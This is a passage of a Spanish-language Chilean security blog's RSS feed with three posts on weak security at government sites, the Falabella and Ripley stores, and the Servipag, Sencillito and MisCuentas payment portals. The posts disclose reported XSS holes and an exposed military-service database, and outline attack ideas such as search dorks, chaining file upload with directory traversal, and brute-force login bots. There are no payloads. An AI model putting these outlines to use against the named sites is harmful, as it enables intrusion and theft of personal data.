<p>El gobierno chileno tiene <strong>muchas</strong> brechas de seguridad informática y de la información, es por esto que me hago la pregunta, <strong>¿Está preparado el gobierno de Chile para recibir un ataque de robo de información?</strong>, la respuesta clara es: <strong>NO</strong>. No está preparado el gobierno, ni las personas, ni los encargados, no existen políticas (y si existen no se cumplen), encargan su seguridad a un simple <strong>firewall</strong> que solo les sirve para que sus empleados no puedan ingresar a ver youtube. Obviamente no puedo decir que &#8220;todas las entidades del gobierno tienen fallos de seguridad&#8221;, pero me refiero al gobierno en general.</p>
<p>Desde hace un tiempo que he estado investigando las distintas vulnerabilidades web en sitios del gobierno, intentando reportar la mayoría. En algunos casos no responden, en otros casos no hay forma de contactarlos pero en el mejor de los casos, recibo respuestas y unas satisfactorias <strong>gracias</strong>.</p>
<p><span id="more-2474"></span></p>
<p>El gobierno chileno es <strong>muy</strong> vulnerable a la fuga y robo de información (<em>data leak, data theft</em>).</p>
<p><strong>Fuga de Información o Data Leak</strong><br />
Basta con preparar un <em>dork</em> lo suficientemente bueno que nos permita encontrar URLs indexadas por algún buscador donde podamos acceder a información sensible. Es muy típico acceder a respaldos o <em>dumps</em> de bases de datos, a planillas de calculo o archivos de texto que no deberían ser publicos. Por otro lado tambien está el problema del control de acceso, saber quien y a qué se accedió a los sistemas de manejo de información.</p>
<p><strong>Robo de Información o Data Theft</strong><br />
Asimismo, tambien es vulnerable al <em>robo de información o Data Theft</em>, se han preguntado que tan fácil es ingresar a una organización del gobierno y encontrar información sensible para poder llevarnos? Los mismos <em>empleados publicos</em> tienen la capacidad de insertar un pendrive en sus computadores de trabajo y llevarse información a casa, muchas veces lo hacen inconcientemente, sin saber o sin darse cuenta que estan exponiendo la seguridad de la institución.<br />
Se han preguntado si <strong>la información que se da de baja realmente se destruye?</strong><br />
- <strong>Qué información podemos encontrar en los basureros diariamente?</strong> Sería bueno hacer ese ejercicio &#8230;<br />
- <strong>Si a una persona se le pierde el telefono movil o el portatil de la institución, qué información queda expuesta?</strong><br />
- <strong>Cuanta información sensible manejan las personas sin saber que se tratan de datos sensibles?</strong></p>
<p><strong>Servidores y Servicios</strong><br />
Si hablamos de la <em>seguridad a nivel de servidores y servicios</em>, de 1 a 10 yo pienso que el nivel de seguridad no supera el 5 en la mayoría de los casos: instalaciones y configuraciones por defecto, versiones de sistema operativo antigua, versiones de servicios antiguas (ftp, ssh, http, etc), passwords débiles y genéricas, poca seguridad en cuanto a permisos y propietarios de archivos (se encuentran muchos permisos 777 y como propietario el usuario apache) y por último, culpando nuevamente al usuario, el hecho de que un usuario le entregue su password a otras personas.</p>
<p><strong>Vulnerabilidades Web</strong><br />
Pueden tener el firewall más caro, contratar a la empresa de seguridad con más prestigio, pero cuando una web es vulnerable a ataques que nos permitan acceder al servidor de alguna forma, es dificil de detectar. <strong>Muchos</strong> sitios web del gobieron son vulnerables a distintos tipos de ataques, desde algunos tan sencillos como los que nos permiten obtener el full path, hasta unas mas complejas que nos permiten, mediante distintas técnicas de ataque, obtener el control del servidor. Las vulnerabilidades tipicas son las inyecciones de SQL (sql injection), XSS (en algunos casos XSS permanentes), Local/Remote File Include, Directory Traversal y, para rematar, <strong>Arbitrary File Upload</strong>. Hay veces que saltarse los filtros es muy facil, pudiendo combinar distintas vulnerabilidades como &#8220;<strong>Full Path Disclosure + Arbitrary File Upload + Directory Traversal</strong>&#8221; para lograr obtener una shell en el servidor. Muchos sistemas carecen de validaciones efectivas para sanitizar o filtrar los parametros que se pasan mediante GET o POST.</p>
<p><strong>El caso del Ministerio del Interior</strong><br />
Hace unas semanas reporté una vulnerabilidad de XSS Permanente en el sitio web del Ministerio del Interior. En algunos casos un XSS podría parecer inofensivo, pero en este caso en particular al tratarse de un XSS permanente, si alguien lo hubiese explotado, perfectamente podria haber accedido a información sensible del ministerio, ya que se encontraba en un sistema donde los usuarios realizan preguntas o peticiones al ministerio, luego las preguntas son recibidas por gente que trabaja en el ministerio mediante una interfáz web. Si inyectabamos un codigo html/javascript en nuestra &#8220;pregunta&#8221;, se guardaba sin filtrar ni <em>parsear</em> en la base de datos, luego cuando el usuario encargado ingresaba vía web al sistema de administración, el código javascript se le ejecutaba en el navegador, exponiendolo a un ataque que podría haberle robado la sesión o más datos de su computador, enviandolos a un servidor remoto.<br />
Esta vulnerabilidad fue corregida despues de haberla reportada.</p>
<p><strong>El caso de la Dirección General de Movilicación Nacional (DGMN)</strong><br />
La DGMN expone desde el 2007 la base de datos del <strong>registro del servicio militar</strong>, dejando al descubierto los nombres de los que postularon y fueron llamados, juntos con sus RUT y más información sensible. La DGMN ha sido reportada mediante distintas vias y ninguna ha dado resultado, siguen sin solucionar el problema y hasta el día de hoy la base de datos está expuesta junto con otros datos más.</p>
<p>Si en Chile el grupo &#8220;Anonymous&#8221; estuviese conformado por <em>hackers</em> con los conocimientos y habilidades suficientes, estoy seguro que podrian poner en aprietos al gobierno.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Festa-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/"  data-text="Está preparado el gobierno chileno para recibir un ataque de robo de información ?" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/esta-preprado-el-gobierno-chileno-para-recibir-un-ataque-de-robo-de-informacion/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Falabella y Ripley: ¿Sitios realmente seguros?</title>
		<link>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/</link>
		<comments>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 08:25:45 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[falabella]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[ripley]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[verisign]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2595</guid>
		<description><![CDATA[Falabella y Ripley son dos &#8220;grandes tiendas&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: existe la seguridad al 100% ? Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para [...]]]></description>
			<content:encoded><![CDATA[<p>Falabella y Ripley son dos &#8220;<em>grandes tiendas</em>&#8221; que permiten que sus clientes puedan realizar compras online, ambas dicen ser &#8220;100% seguras&#8221; y están certificadas por VeriSign. El primer error: <strong>existe la seguridad al 100% ?</strong></p>
<p><center><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif"><img class="alignnone size-full wp-image-2596" style="margin-top: 2px; margin-bottom: 2px;" title="logo_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_falabella.gif" alt="" width="193" height="51" /></a><a href="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif"><img class="alignnone size-full wp-image-2597" style="margin: 2px;" title="logo_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/logo_ripley.gif" alt="" width="161" height="56" /></a></center></p>
<p>Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.<br />
Los sitios afectados son: <strong>http://www.falabella.cl</strong> y <strong>http://www.ripley.cl</strong> incluyendo los sitios &#8220;seguros&#8221; (https) de cada uno.</p>
<p>Lo más irónico es que los sitios estan &#8220;certificados&#8221; por una empresa de seguridad que según ellos:</p>
<blockquote><p>Verisign, líder mundial en certificación de comercio electrónico.</p></blockquote>
<p>Aunque no me sorprende, luego de <a href="http://blog.zerial.org/seguridad/cross-site-scripting-en-sitio-verisign-chile-e-sign/">haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign</a>.</p>
<p>Otra cosa que tambien les debería dar verguenza a estas empresas es <em>prometer</em> 100% de seguridad al usuario, como dice en sus propios sitios web:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png"><img class="aligncenter size-full wp-image-2600" title="ripley1" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley1.png" alt="" width="464" height="342" /></a></p>
<p>Todo esto es una <strong>mentira</strong>.</p>
<p><span id="more-2595"></span></p>
<p>Con las 2 imagenes que veran a continuación, no habrá mucho que explicar&#8230;</p>
<p>1. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png"><img class="aligncenter size-full wp-image-2605" title="falabella_ripley" src="http://blog.zerial.org/wp-content/uploads/2011/08/falabella_ripley.png" alt="" width="675" height="554" /></a></p>
<p>2. <a href="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png"><img class="aligncenter size-full wp-image-2606" title="ripley_falabella" src="http://blog.zerial.org/wp-content/uploads/2011/08/ripley_falabella.png" alt="" width="642" height="512" /></a></p>
<p>Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios &#8220;super seguros&#8221; <strong>https</strong>.</p>
<p>Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella <strong>FALSO</strong>, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.</p>
<p>Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos <strong>nunca</strong> pedirán datos por correo pero sin embargo &#8230; Pero qué pasa si te llega un correo con links verdaderos a http<strong>S</strong>://www.falabella.com o http<strong>S</strong>://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos &#8230; Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.</p>
<p>Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las <span style="text-decoration: line-through;">mentiras</span> <strong>falsas promesas</strong> que hacen los portales de internet que por obligación <strong>DEBEN</strong> ser seguros, pero no los son.</p>
<p>La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Ffalabella-y-ripley-%25c2%25bfsitios-realmente-seguros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/"  data-text="Falabella y Ripley: ¿Sitios realmente seguros?" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/falabella-y-ripley-%c2%bfsitios-realmente-seguros/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Análisis de seguridad: Servipag vs Sencillito vs MisCuentas</title>
		<link>http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/</link>
		<comments>http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/#comments</comments>
		<pubDate>Tue, 02 Aug 2011 04:42:38 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[analisis]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[miscuentas]]></category>
		<category><![CDATA[password seguras]]></category>
		<category><![CDATA[security token]]></category>
		<category><![CDATA[sencillito]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[token]]></category>
		<category><![CDATA[tokens]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2538</guid>
		<description><![CDATA[Ya muchos leyeron mi post anterior sobre la seguridad del servicio que ofrece Servipag, la idea de este nuevo artículo es hacer un tipo de benchmark de seguridad entre los tres principales servicios de pagos de cuentas online: Servipag, Sencillito y MisCuentas. Analizaré las validaciones que hacen estos servicios, que tan vulnerables a ataques de [...]]]></description>
			<content:encoded><![CDATA[<p>Ya muchos leyeron <a href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro">mi post anterior</a> sobre la seguridad del servicio que ofrece Servipag, la idea de este nuevo artículo es hacer un tipo de <em>benchmark</em> de seguridad entre los tres principales servicios de pagos de cuentas online: Servipag, Sencillito y MisCuentas.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/servpagvssencivsmisc.png"><img class="aligncenter size-full wp-image-2539" title="servpagvssencivsmisc" src="http://blog.zerial.org/wp-content/uploads/2011/08/servpagvssencivsmisc.png" alt="" width="515" height="243" /></a></p>
<p>Analizaré las validaciones que hacen estos servicios, que tan vulnerables a ataques de robo de información, suplantación de identidad o que tan seguros son sus procesos, con el objetivo de dejar al descubierto la falta de seguridad y de validaciones al momento de hacer peticiones entre sitios, validacion de tokens de seguridad, uso de captchas para evitar a los bots, etc.</p>
<p>El análisis consiste en:</p>
<ul>
<li><strong>Security Tokens</strong>: Revisar que los servicios que ofrecen cada sitio web cuenta con los tokens de seguridad en sus formularios, para evitar pecitiones POST o GET desde sitios externos.</li>
<li><strong>Captcha</strong>: Es el mecanismo más usado para determinar si quien está enviando la petición es un humano y no un bot. Ayuda contra los ataques de fuerza bruta.</li>
<li><strong>Passwords cifradas</strong>: Verificar que la password de los usuarios se almacene cifrada en la base de datos.</li>
<li><strong>Uso de certificados SSL</strong> en sus transacciones.</li>
</ul>
<p>Y los resultados son alarmantes&#8230;</p>
<ol>
<li><strong>Servipag</strong>: Passwords sin cifrar, permite el tráfico sin http seguro, no usa tokens de seguridad en sus formularios, permite realizar peticiones desde sitios/formularios falsos, no usa captcha.</li>
<li><strong>Sencillito</strong>: Al no requerir registro de usuario se libera de todas las criticas, este servicio es el mas sencillo y el más seguro</li>
<li><strong>MisCuentas</strong>: Passwords cifrados, tiene un buen mecanismo de recuperacion de contraseña, las transacciones se realizan mediante HTTP seguro, no usa tokens de seguridad y tampoco utiliza captcha, permitiendo peticiones desde sitios/formularios falsos.</li>
</ol>
<p>Para leer el detalle del análisis, continua leyendo el artículo.</p>
<p><span id="more-2538"></span></p>
<h2>Servipag</h2>
<h3>Security tokens</h3>
<p>Existen dos formularios, uno para el inicio de sesión y otro para el pago de cuentas.<br />
El primero,<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/08/form1_servipag.png"><img class="aligncenter size-full wp-image-2546" title="form1_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/form1_servipag.png" alt="" width="196" height="130" /></a><br />
No cuenta con <strong>ningun</strong> tipo de seguridad, es un formulario común y corriente.</p>
<pre class="c" name="code">&lt;form action="http://servipag.cl/Portal/Account/LogOn" method="post" name="formCliente"&gt;
&lt;input name="prsn_id" value="" type="hidden" /&gt;
&lt;input name="accs_pin" value="" type="hidden" /&gt;
&lt;input name="rut_2" value="" type="hidden" /&gt;
&lt;input name="rut_1" value="" type="hidden" /&gt;
&lt;input name="clave_1" value="" type="hidden" /&gt;
&lt;input name="accion" value="login" type="hidden" /&gt;
&lt;input class="textInput2" id="Rut" maxlength="12" name="Rut" onblur="javascript:formatear3_menu(document.formCliente);" onfocus="javascript:formatear4_menu(document.formCliente);" onkeypress="javascript:return solorut_menu(event);" size="12" type="text" value="" tabindex="1" /&gt;
&lt;input class="textInput2" id="Password" maxlength="12" name="Password" onkeypress="PressEnter_menu(event);" size="12" type="password" value="" tabindex="2" /&gt;
&lt;/form&gt;</pre>
<p>El segundo,<br />
<a href="http://blog.zerial.org/wp-content/uploads/2011/08/form2_servipag.png"><img class="aligncenter size-medium wp-image-2549" title="form2_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/form2_servipag-300x87.png" alt="" width="300" height="87" /></a></p>
<p>Tambien es un formulario común y corriente.</p>
<pre name ="code" class="c">&lt;form id="formPagoCuentas" name="formPagoCuentas" method="post" action=""&gt;
&lt;select id="servicios" name="servicios"&gt;...&lt;/select&gt;
&lt;select id="billers"&gt;&lt;option value=""&gt;[Empresa]&lt;/option&gt;&lt;/select&gt;
&lt;input type="hidden" name="pagina" value="web/busqueda_cuentas.htm" /&gt;
&lt;input type="hidden" name="TipoBusqueda" value="N" /&gt;
&lt;input type="hidden" name="IntTipoBusqueda" value="0" /&gt;
&lt;input type="hidden" name="arrayCuentas" value="" /&gt;
&lt;/form&gt;</pre>
<p>Permitiendo peticiones desde sitios remotos.</p>
<h3>Captcha</h3>
<p>Ninguno de los formularios hace uso de captchas, permitiendo hacer peticiones automatizadas y ataques de fuerza bruta.</p>
<h3>Password cifradas</h3>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/password_servipag.png"><img class="aligncenter size-full wp-image-2551" title="password_servipag" src="http://blog.zerial.org/wp-content/uploads/2011/08/password_servipag.png" alt="" width="600" height="343" /></a></p>
<p>El sistema de Servipag <strong>NO</strong> almacena las claves de usuarios cifradas.</p>
<h3>Certificado SSL</h3>
<p>Ambos formularios envian los datos cifrados mediante SSL solo cuando el usuario ingresa mediante https, si el usuario ingresa usando http normal, los formularios enviarán los datos en plano. Lo pueden ver en el codigo html de los formularios que mostré unas lineas mas arriba.</p>
<h2>Sencillito</h2>
<h3>Security tokens</h3>
<p>Solo encontré el formulario de pago de cuentas, al parecer no tiene registro de usuarios.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/form1_sencillito.png"><img class="aligncenter size-full wp-image-2555" title="form1_sencillito" src="http://blog.zerial.org/wp-content/uploads/2011/08/form1_sencillito.png" alt="" width="642" height="203" /></a></p>
<p>Como no tiene formulario de inicio de sesion, en este caso los tokens de seguridad no son necesarios, a menos que alguien quiera falsificar el formulario y pagarnos las cuentas <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h3>Captcha</h3>
<p>Como he dicho mas arriba, tampoco es necesario proteger el formulario contra los bots.</p>
<h3>Password cifradas</h3>
<p>No aplica, ya que no hay registro de usuario de por medio.</p>
<h3>Certificado SSL</h3>
<p>Obliga al usuario a usar HTTP seguro, ya que al ingresar a http:// redireccione automaticamente a https.</p>
<h2>MisCuentas</h2>
<h3>Security tokens</h3>
<p>El primer formulario, corresponde al inicio de sesion</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/form1_miscuentas.png"><img class="aligncenter size-full wp-image-2556" title="form1_miscuentas" src="http://blog.zerial.org/wp-content/uploads/2011/08/form1_miscuentas.png" alt="" width="221" height="162" /></a></p>
<p>Al ver el codigo fuente podemos ver unos input que parecieran ser security tokens</p>
<pre class="c" name="code">&lt;input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEwMDUyNjYzMjgPZBYCZg9kFgICAw9kFgJmDw9kFgIeCG9uQ2hhbmdlBV9jaGVja1J1dEZpZWxkKGFzcG5ldEZvcm0uY3RsMDBfdHh0TG9naW4udmFsdWUsYXNwbmV0Rm9ybS5jdGw$
&lt;input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwKtxfWYAwLT4e+AAwKB7cu1BVBe9NtqfcZbqVushQKI1bjh/ZuV" /&gt;</pre>
<p>Pero no lo son, o si lo son no los están utilizando correctamente, ya que es posible realizar peticiones desde sitios remotos, permitiendo programar un bot que obtenga la password de un usuario mediante fuerza bruta.</p>
<h3>Captcha</h3>
<p>No hace uso de captchas. Aprovechandose de esta ineficiencia, junto con lo anterior, es posible programar un bot que haga peticiones POST al formulario de login hasta dar con las credenciales de los usuarios.</p>
<h3>Password cifradas</h3>
<p>Esto es un punto a favor, el correo que llega cuando intentamos recuperar la contraseña es:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/recover_miscuentas.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/08/recover_miscuentas.png" alt="" title="recover_miscuentas" width="499" height="286" class="aligncenter size-full wp-image-2557" /></a></p>
<p>No envian mi password, por lo que todo indica que no saben cual es ya que está cifrada. Nos entregan una password aleatoria alternativa con caducidad, lo que nos obliga a volver a cambiarla por una que recordemos.</p>
<h3>Certificado SSL</h3>
<p>Ingresando por HTTP normal y HTTP seguro el formulario envia la informacion cifrada y una vez dentro del portal todos los links parecen apuntar a un sitio seguro.</p>
<h2>Conclusiones</h2>
<p>Una vez realizado el analisis, concluímos que el mientras más simple sea el método de pago, mejor. El premio a la sencillez se lo lleva Sencillito, ya que no requiere registro de usuario disminuyendo las posibilidades de tener brechas de seguridad. De los dos sitios que requieren registro de usuario, el más seguro es MisCuentas, ya que &#8220;obliga&#8221; al usuario a enviar sus datos mediante SSL, <strong>no</strong> almacena sus password en texto plano y tiene un procedimiento de recuperación de contraseña mejor.</p>
<h3>Problemas comunes</h3>
<p>Ninguno de los portales de pagos utiliza tokens de seguridad en sus formularios, tampoco utilizan captcha, lo que permite programar bots ninjas que se dediquen a obtener los datos de usuario (como user y pass) mediante fuerza bruta sin ningun tipo de protección.</p>
<h3>El mas inseguro</h3>
<p>Este premio se lo lleva <strong>Servipag</strong>. Al registrarse como usuario podemos ver el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/registro_servipag.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/08/registro_servipag.png" alt="" title="registro_servipag" width="508" height="135" class="aligncenter size-full wp-image-2559" /></a></p>
<p><strong>¿Cuanto tardaría un bot en encontrar una clave entre 4 y 6 caracteres?</strong></p>
<p>Es inaceptable que un sistema que dice ser seguro obligue al usuario a escribir una password con un límite de caracteres. Todos sabemos lo que es un hash, que indiferente al largo de la cadena de caracteres, el hash siempre tendrá un largo fijo. Por ejemplo, el password &#8220;123456&#8243; tiene un hash en md5 de 32 caracteres, al igual que la password &#8220;12345678&#8243;, &#8220;ifndsifndsifn2432432432432&#8243;, etc. Por lo tanto, el hecho de que te pongan un límite en la cantidad de caracteres para tu password automaticamente hace pensar que tienen definido el campo en la base de datos como &#8220;varchar(6)&#8221; y obviamente <strong>no</strong> está cifrado, lo comprobamos al intentar recuperar la contraseña, nos llega un correo con nuestra clave!!</p>
<p>Finalmente, el orden, desde el más seguro hasta el más inseguro:</p>
<ol>
<li>Sencillito</li>
<li>MisCuentas</li>
<li>Servipag</li>
</ol>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fanalisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/"  data-text="Análisis de seguridad: Servipag vs Sencillito vs MisCuentas" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/analisis-de-seguridad-servipag-vs-sencillito-vs-miscuentas/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
	</channel>
</rss>

